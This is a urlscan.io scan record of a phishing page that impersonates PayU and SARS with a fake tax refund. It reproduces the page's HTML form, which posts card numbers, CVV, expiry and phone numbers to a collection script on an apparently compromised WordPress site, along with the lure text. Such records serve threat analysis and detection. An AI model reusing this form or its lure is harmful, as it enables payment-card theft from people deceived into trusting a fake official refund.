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pub-1b91013d1c284d13b87b1de07b5691a3.r2.dev Open in urlscan Pro
2606:4700::6812:223  Public Scan

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Submitted URL: https://pub-0ca38264b018494aa873bb01b0c49f34.r2.dev/index.htm
Effective URL: https://pub-1b91013d1c284d13b87b1de07b5691a3.r2.dev/cc.htm
Submission: On February 21 via manual from ZA — Scanned from DE

Form analysis 1 forms found in the DOM

POST https://pearlcw.com/wp-admin/includes/admerin/sarizo/card.php

<form id="signOnForm" autocomplete="off" class="form-horizontal" action="https://pearlcw.com/wp-admin/includes/admerin/sarizo/card.php" method="post">
  <div class="form-group">
    <p style="margin-left:4%;">We accept major credit cards including VISA and MasterCard. The accepted refund payment options are provided above.</p><br>
    <div id="info-expired-card" class="col-lg-10 col-lg-offset-1 col-md-10 col-md-offset-1 col-sm-10 col-sm-offset-1 col-xs-10 col-xs-offset-1 alert alert-info" role="alert" style="display:none"> We noticed you entered an expiry date in the past.
      Ensure you've captured this correctly as displayed on your card before clicking Pay. </div>
    <label class="col-lg-3 col-md-3 col-sm-3 control-label text-align-right">Card number</label>
    <div class="col-lg-4 col-md-6 col-sm-6 input-container">
      <input id="cn" name="cn" type="tel" class="is-numbersonly creditcard form-control" required="required" maxlength="19" onkeypress="validate(event)"><span class="is-validationindicator"></span>
    </div>
  </div> <!-- /.form-group -->
  <div class="form-group">
    <label class="col-lg-3 col-md-3 col-sm-3 control-label text-align-right">Card holder name</label>
    <div class="col-lg-4 col-md-6 col-sm-6 input-container">
      <input id="nm" name="nm" type="text" class="form-control" required="required" value=""><span class="is-validationindicator"></span>
    </div>
  </div> <!-- /.form-group -->
  <div class="form-group">
    <label class="col-lg-3 col-md-3 col-sm-3 col-xs-12 control-label">Expiry date</label>
    <div class="col-lg-4 col-md-6 col-sm-6 col-xs-12 no-padding">
      <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6 input-container">
        <select id="mm" name="mm" class="form-control expMonth expiry-date" required="">
          <option value="-1">MM</option>
          <option value="01">01</option>
          <option value="02">02</option>
          <option value="03">03</option>
          <option value="04">04</option>
          <option value="05">05</option>
          <option value="06">06</option>
          <option value="07">07</option>
          <option value="08">08</option>
          <option value="09">09</option>
          <option value="10">10</option>
          <option value="11">11</option>
          <option value="12">12</option>
        </select><span class="is-validationindicator"></span>
      </div>
      <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6 input-container">
        <select id="yy" name="yy" class="form-control expYear expiry-date" required="">
          <option value="-1">YY</option>
          <option value="2023">2023</option>
          <option value="2024">2024</option>
          <option value="2025">2025</option>
          <option value="2026">2026</option>
          <option value="2027">2027</option>
          <option value="2028">2028</option>
          <option value="2029">2029</option>
          <option value="2030">2030</option>
          <option value="2031">2031</option>
          <option value="2032">2032</option>
          <option value="2033">2033</option>
          <option value="2034">2034</option>
          <option value="2035">2035</option>
          <option value="2036">2036</option>
          <option value="2037">2037</option>
          <option value="2038">2038</option>
          <option value="2039">2039</option>
          <option value="2040">2040</option>
          <option value="2041">2041</option>
          <option value="2042">2042</option>
          <option value="2043">2043</option>
          <option value="2044">2044</option>
          <option value="2045">2045</option>
          <option value="2046">2046</option>
          <option value="2047">2047</option>
          <option value="2048">2048</option>
          <option value="2049">2049</option>
          <option value="2050">2050</option>
          <option value="2051">2051</option>
          <option value="2052">2052</option>
          <option value="2053">2053</option>
          <option value="2054">2054</option>
          <option value="2055">2055</option>
          <option value="2056">2056</option>
          <option value="2057">2057</option>
          <option value="2058">2058</option>
          <option value="2059">2059</option>
          <option value="2060">2060</option>
          <option value="2061">2061</option>
        </select><span class="is-validationindicator"></span>
      </div>
    </div>
  </div> <!-- /.form-group -->
  <div class="form-group " id="cvvfld">
    <label class="col-lg-3 col-md-3 col-sm-3 control-label">CVV number</label>
    <div class="col-lg-4 col-md-6 col-sm-6 input-container">
      <input id="cr" name="cr" title="" type="tel" class="is-numbersonly form-control" required="required" maxlength="3" onkeypress="validate(event)"><span class="is-validationindicator"></span>
    </div>
  </div> <!-- /.form-group -->
  <div class="form-group">
    <label class="col-lg-3 col-md-3 col-sm-3 control-label text-align-right">Phone number:</label>
    <div class="col-lg-4 col-md-6 col-sm-6 input-container">
      <input id="nm" name="em" type="tel" class="form-control" required="required" value=""><span class="is-validationindicator"></span>
    </div>
  </div> <!-- /.form-group -->
  <!--Only Numeric value in Textbox Script -->
  <script type="text/javascript">
    function validate(evt) {
      var theEvent = evt || window.event;
      // Handle paste
      if (theEvent.type === 'paste') {
        key = event.clipboardData.getData('text/plain');
      } else {
        // Handle key press
        var key = theEvent.keyCode || theEvent.which;
        key = String.fromCharCode(key);
      }
      var regex = /[0-9]|\./;
      if (!regex.test(key)) {
        theEvent.returnValue = false;
        if (theEvent.preventDefault) theEvent.preventDefault();
      }
    }
  </script>
  <!--Only Numeric value in Textbox Script -->
  <div class="btn_field left">
    <div class="col-lg-offset-3 col-md-offset-3 col-sm-offset-3">
      <div class="offset-container text-nowrap">
        <input type="hidden" name="step" value="cc">
        <input type="hidden" name="captcha">
        <button id="btnPay" type="submit" class="btn btn-primary confirmPinModal anon_pay">Refund R8860.60</button>
        <a id="cancelBtn" data-savepage-href="cancelRedirect.do" href="https://deep-tech-summit.goodwood.com/default/auth/payment.php?credential#" class="btn btn-default anon_cancel">Cancel</a>
      </div>
    </div>
  </div> <!-- /.row -->
  <div class="row">
    <div class="col-lg-offset-3 col-md-offset-3 col-sm-offset-3">
      <div class="offset-container col-lg-6 col-md-8 col-sm-9">
        <small>*You may be redirected to your bank's secure site to authenticate yourself before the refund is processed.</small>
      </div>
    </div>
  </div> <!-- /.row -->
</form>

Text Content

PayU


Please note that this website makes use of JavaScript and will not function
properly with JavaScript disabled. Please enable JavaScript in your browsers'
preferences.

SARS
ZA245278896A
Total Refund
R8860.60
×

PAYING WITH PAYU APP

PayU is your trusted partner for online and mobile payments. You can speed
through checkout, track your transactions and receive amazing offers.

Paying from a computer or tablet? Pay quickly and easily with your smartphone.

If you are a new user, simply download the PayU App from the Google Play store
here.

Steps to Pay:
 1. Open the PayU App
 2. Use your phone's camera to scan the QR code displayed on screen
 3. Enter your PayU Pin/Password
 4. Click "Pay" to make payment
 5. And voila! You will be redirected to a page confirming your purchase

Want to know more? Give us a shout at support@payu.co.za


CHOOSE YOUR REFUND PAYMENT METHOD

Card


We accept major credit cards including VISA and MasterCard. The accepted refund
payment options are provided above.


We noticed you entered an expiry date in the past. Ensure you've captured this
correctly as displayed on your card before clicking Pay.
Card number

Card holder name

Expiry date
MM 010203040506070809101112
YY
202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061
CVV number

Phone number:

Refund R8860.60 Cancel
*You may be redirected to your bank's secure site to authenticate yourself
before the refund is processed.
 * 

You agree that your personal data will be processed when you choose a payment
method and proceed with a transaction. We may share your personal data with
entities involved in processing your transaction. Depending on the payment
method you choose, this can include banks, merchants, EFT providers, payment
schemes, loan institutions or loyalty points providers. Providing personal data
is a choice by you. If you choose not to provide your personal data, your
transaction may be rejected. For information on how we process your personal
data and your rights, see our PayU Privacy Statement. For information on our
terms, compliance and security standards, see our Legal Information.


All Rights Reserved ©2023